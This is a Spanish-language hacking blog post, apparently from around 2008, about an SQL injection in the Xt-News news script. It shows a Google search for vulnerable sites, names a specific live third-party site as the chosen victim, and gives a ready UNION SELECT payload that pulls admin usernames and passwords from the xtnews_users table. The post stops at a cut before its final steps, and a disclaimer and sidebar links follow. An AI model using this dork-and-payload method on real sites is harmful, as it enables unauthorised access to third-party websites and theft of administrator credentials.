Jul
2
Vulnerabilidad en “Xt-NewsPowered”
CategorÃas: Buscando una vÃctima, Hacking Google, Hacking Web, Vulnerabilidades |
Enviado por: rush
(14 artÃculos) |
3 Comentarios
Bueno esta vulneravilidad consiste en una injecction SQL.
Para empezar si quieres buscar vulneravilidades Xt-News Tienes que tipear esto en google.
“Powered by Xt-News”
Resultado de la busqueda en google: http://www.google.com.mx/search?client=firefox-a&rls=org.mozilla%3A%3Aofficial&channel=s&hl=es&q=Powered+by+Xt-News&meta=&btnG=Buscar+con+Google
Aora escogemos alguna web la que sea.
En mi caso escogi esta: http://polyrando.org/xtnews/print.php?id_news=206
Aora lo que bamos a haces es coger nuestra SQL injecction que es la siguiente:
show_news.php?id_news=-1%20UNION%20SELECT%20%20id,user,null,null,mdp,null,null,null,null,null,null%20FROM%20xtnews_users%20WHERE%20%20admin=1
Aora pegamos eso […]
Importante!
Los autores de este blog pretenden informar sobre seguridad, vulnerabilidades, técnicas hack, hablar sobre lo último en hacking...
Las herramientas, trucos, comandos, artÃculos... explicados en este blog NUNCA deberán
ser usados de forma maligna para delinquir o dañar a terceros.
No nos hacemos responsables de la mala interpretación ni del mal uso
de cualquier contenido del blog.
Todo lo que se habla en este blog está en internet (o proviene de alguno de los autores) y se puede consultar de forma libre. Si obtienes información de este blog para tu espacio, página web, blog... no olvides ponernos como fuente :).Acerca de
El Blog del Hacker es una web llevada por usuarios de ForoHack.com perteneciente a la web ElHacker.com
Si quieres colaborar con nosotros lo puedes hacer de forma abierta en nuestros foros y siendo un usuario frecuente podrás ser Autor de este blog.
El objetivo principal de este blog es dar a conocer desde nuestro propio punto de vista el hacking en la red para Windows o Linux, conocer como funcionan las cosas, hacer más segura la red encontrando vulnerabilidades,... nunca para hacer el mal, estafar, ni nada parecido. Siempre de buen rollo =) Cuanto más se hable de forma abierta sobre estos temas más usuarios y empresas los conocerán y menos nos afectarán (será más segura la red)Últimos Comentarios
- Como Hacer una envenenacion ARP en una Red
04/08/2008 08:55 pm
15 Comentarios - Phising y Pharming
04/08/2008 03:47 pm
14 Comentarios - Hablemos de Wifislax
04/08/2008 03:22 pm
96 Comentarios - MaS…Comandos MS DOS.
04/08/2008 01:35 pm
15 Comentarios - Que es un ataque RFI(Remote File Inclusion)
04/08/2008 01:25 pm
195 Comentarios - Injection HTML
04/08/2008 01:19 pm
32 Comentarios - Glosario sobre terminos
04/04/2008 09:16 pm
43 Comentarios - ¿Por donde empezar en el Hacking?
04/04/2008 05:06 pm
20 Comentarios
Entradas más populares
- Como Hacer una envenenacion ARP en una Red
Feeds e Información
- Registrarse
